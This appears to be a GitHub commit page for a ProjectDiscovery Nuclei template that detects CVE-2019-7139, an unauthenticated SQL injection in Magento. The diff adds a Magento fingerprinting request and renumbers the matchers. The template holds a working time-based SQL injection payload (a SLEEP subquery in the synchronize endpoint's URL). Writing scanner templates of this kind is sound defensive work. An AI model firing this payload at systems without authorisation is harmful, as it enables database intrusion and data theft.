Skip to content

Commit

Permalink
Merge pull request #10339 from projectdiscovery/FN-CVE-2019-7139
Browse files Browse the repository at this point in the history
Fix FN CVE-2019-7139.yaml
  • Loading branch information
DhiyaneshGeek committed Jul 19, 2024
2 parents 74a6bd2 + 59b735a commit ab56611
Showing 1 changed file with 22 additions and 10 deletions.
32 changes: 22 additions & 10 deletions http/cves/2019/CVE-2019-7139.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -6,12 +6,14 @@ info:
severity: critical
description: |
An unauthenticated user can execute SQL statements that allow arbitrary read access to the underlying database, which causes sensitive data leakage.
remediation: This issue is fixed in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2.
remediation: |
This issue is fixed in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2.
reference:
- https://pentest-tools.com/blog/exploiting-sql-injection-in-magento-with-sqlmap
- https://www.ambionics.io/blog/magento-sqli
- https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-13
- https://github.com/koutto/jok3r-pocs
- https://nvd.nist.gov/vuln/detail/CVE-2019-7139
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
Expand All @@ -32,12 +34,25 @@ info:
- http.component:"magento"
tags: cve,cve2019,sqli,magento

flow: http(1) && http(2)

http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "text/x-magento-init")'
condition: and
internal: true

- raw:
- |
@timeout: 20s
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT*FROM+(SELECT+SLEEP((6)))a)%3d1+--+- HTTP/1.1
Expand All @@ -56,18 +71,15 @@ http:
- type: dsl
name: time-based
dsl:
- 'duration_2>=6'
- 'status_code_1 == 200'
- 'contains(body_1, "text/x-magento-init")'
- 'contains(content_type_2, "application/json")'
- 'duration_1>=6'
- 'contains(content_type_1, "application/json")'
condition: and

- type: dsl
name: blind-based
dsl:
- 'contains(body_1, "text/x-magento-init")'
- 'contains(content_type_3, "application/json") && contains(content_type_4, "application/json")'
- 'status_code_3 == 200 && status_code_4 == 400'
- 'len(body_3) == 2 && len(body_4) == 2'
- 'contains(content_type_2, "application/json") && contains(content_type_3, "application/json")'
- 'status_code_2 == 200 && status_code_3 == 400'
- 'len(body_2) == 2 && len(body_3) == 2'
condition: and
# digest: 4a0a0047304502201a3e9663dc98735508040110a0f0778160d3bb3c76ea3246f73225c2bd7a22d8022100c3ad7ca4c44b23d865c8dbdd5ff2cc9d7a4172e04f03a427d9bbdcc18c2c5ef5:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502201a3e9663dc98735508040110a0f0778160d3bb3c76ea3246f73225c2bd7a22d8022100c3ad7ca4c44b23d865c8dbdd5ff2cc9d7a4172e04f03a427d9bbdcc18c2c5ef5:922c64590222798bb761d5b6d8e72950

0 comments on commit ab56611

Please sign in to comment.